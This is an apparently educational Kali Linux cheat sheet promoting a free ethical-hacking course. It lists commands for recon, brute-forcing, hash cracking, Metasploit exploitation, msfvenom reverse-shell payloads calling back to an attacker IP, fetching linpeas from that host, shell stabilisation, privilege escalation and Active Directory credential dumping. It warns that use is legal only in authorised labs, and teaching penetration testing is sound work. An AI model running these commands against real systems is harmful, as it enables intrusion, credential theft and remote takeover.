Kali Linux commands: the cheat sheet you'll actually use

A cheat sheet sorted alphabetically is useless. This one is sorted by when you'll need each command, which is how they actually get used.

Everything here runs against your own lab or against machines that expressly authorise being attacked. Firing it at someone else's system is a crime in Spain even if you break nothing.

First: moving around the system

If these aren't in your fingers, everything else costs twice as much.

pwd                      # where am I
ls -la                   # everything, hidden files and permissions included
cd -                     # back to the previous directory
find / -name "*.conf" 2>/dev/null    # search without the noise
grep -rn "password" /etc/            # search inside files
which nmap && whereis nmap           # where a binary lives
history | grep ssh                   # what did I type earlier

The 2>/dev/null on that third line is the one you'll thank most: without it, find / as a normal user floods the screen with "Permission denied" and buries the good results.

Permissions and users

id                       # who am I and which groups I'm in
sudo -l                  # what can I run as someone else
chmod +x script.sh
chown www-data:www-data file
find / -perm -4000 -type f 2>/dev/null   # SUID binaries

That last line is, quite literally, the first command of nearly every Linux privilege escalation.

Packages and updates

sudo apt update && sudo apt full-upgrade -y
sudo apt install gobuster
apt search impacket

On Kali you use full-upgrade, not plain upgrade: it's a rolling distribution and upgrade alone leaves packages half done.

Network: knowing where you are

ip a                     # interfaces and addresses
ip route                 # default gateway
ss -tulpn                # listening ports and which process holds them
arp -a                   # neighbours on the local network
dig example.com ANY      # DNS records
dig axfr @ns1.example.com example.com   # zone transfer
curl -I https://target.com              # headers only

ss -tulpn has replaced netstat and is much faster. The axfr zone transfer is an increasingly rare misconfiguration, but when it shows up it hands you the full map of the domain in one go.

Recon with Nmap

90% of real Nmap use fits in five lines.

# Quick sweep of the network: what's alive
nmap -sn 192.168.1.0/24

# Open ports, fast, over the usual 1000
nmap -sS -T4 10.10.10.5

# All ports. Slow, but it finds what's hiding on 48291
nmap -p- --min-rate 5000 10.10.10.5

# Versions and default scripts, only on the ports you found
nmap -sVC -p 22,80,445 10.10.10.5

# Specific scripts: known vulnerabilities
nmap --script vuln -p 445 10.10.10.5

The real flow is always the same: -p- first to learn which ports exist, then -sVC only on those. Firing -sVC -p- from the start is the beginner mistake that turns a two-minute scan into a forty-minute one.

-sS needs privileges because it crafts packets by hand. Without sudo, Nmap falls back to a full connect scan, which is slower and noisier.

Services: what to do with each port

SMB (445)

smbclient -L //10.10.10.5 -N          # list shares without credentials
smbmap -H 10.10.10.5                  # permissions on each share
crackmapexec smb 10.10.10.5 -u user -p password --shares
enum4linux-ng -A 10.10.10.5

FTP (21)

ftp 10.10.10.5                        # try anonymous / anonymous
wget -r ftp://anonymous@10.10.10.5/   # pull everything if you get in

Web (80, 443, 8080)

whatweb http://10.10.10.5
gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt -x php,txt
ffuf -u http://10.10.10.5/FUZZ -w /usr/share/wordlists/dirb/big.txt
nikto -h http://10.10.10.5
curl -s http://10.10.10.5/robots.txt

robots.txt is still the first place to look. People write there exactly what they don't want seen.

SSH (22)

ssh user@10.10.10.5
ssh -i private_key user@10.10.10.5
ssh -L 8080:127.0.0.1:80 user@10.10.10.5   # tunnel to reach an internal service

Passwords

# Brute force against a service
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5

# Identify and crack a hash
hashid '$1$xyz...'
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Build a wordlist from a website
cewl http://10.10.10.5 -w words.txt

rockyou.txt ships compressed on Kali. The first time you need to unpack it:

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Exploitation with Metasploit

msfconsole -q
search type:exploit vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 10.10.10.5
set LHOST tun0
run

And to generate payloads outside Metasploit:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf > payload.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > payload.exe

LHOST is your address, not the target's. It's the mistake I've seen most in class: people put the victim's IP, the reverse connection goes nowhere, and half an hour disappears looking for the problem in the wrong place.

Listeners and file transfer

# Listen
nc -lvnp 4444
rlwrap nc -lvnp 4444          # with history and arrow keys, much better

# Serve files from your machine
python3 -m http.server 8000

# Pull them from the victim
wget http://10.10.14.2:8000/linpeas.sh
curl http://10.10.14.2:8000/linpeas.sh -o /tmp/linpeas.sh

Stabilising a shell

This sequence is worth its weight in gold and gets used on every machine:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Without it the reverse shell dies at the first Ctrl+C and you get no tab completion and no history.

Post-exploitation: escalating privileges

# Automated recon
./linpeas.sh
./winPEAS.exe

# By hand, the first things to look at
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
getcap -r / 2>/dev/null
uname -a          # kernel version, in case there's a known exploit

And on Windows with Active Directory:

bloodhound-python -u user -p password -d company.local -c all
impacket-secretsdump company.local/user:password@10.10.10.5
impacket-psexec company.local/administrator@10.10.10.5

How to memorise all this

Don't. What you need to internalise is the order: recon, enumerate, exploit, escalate, document. The specific commands get looked up, which is why every lesson of the Kali Linux course ships its own downloadable .md cheat sheet, so you can keep it on the second screen while you work.

The complete and always-current reference lives in the Ethical Hacking Cheatsheet, the GitBook where I maintain all of this.

And if you'd rather watch it than read it, the course is free and complete: lab from scratch, recon, exploitation with Metasploit and the final report. It starts at /en/courses/kali-linux.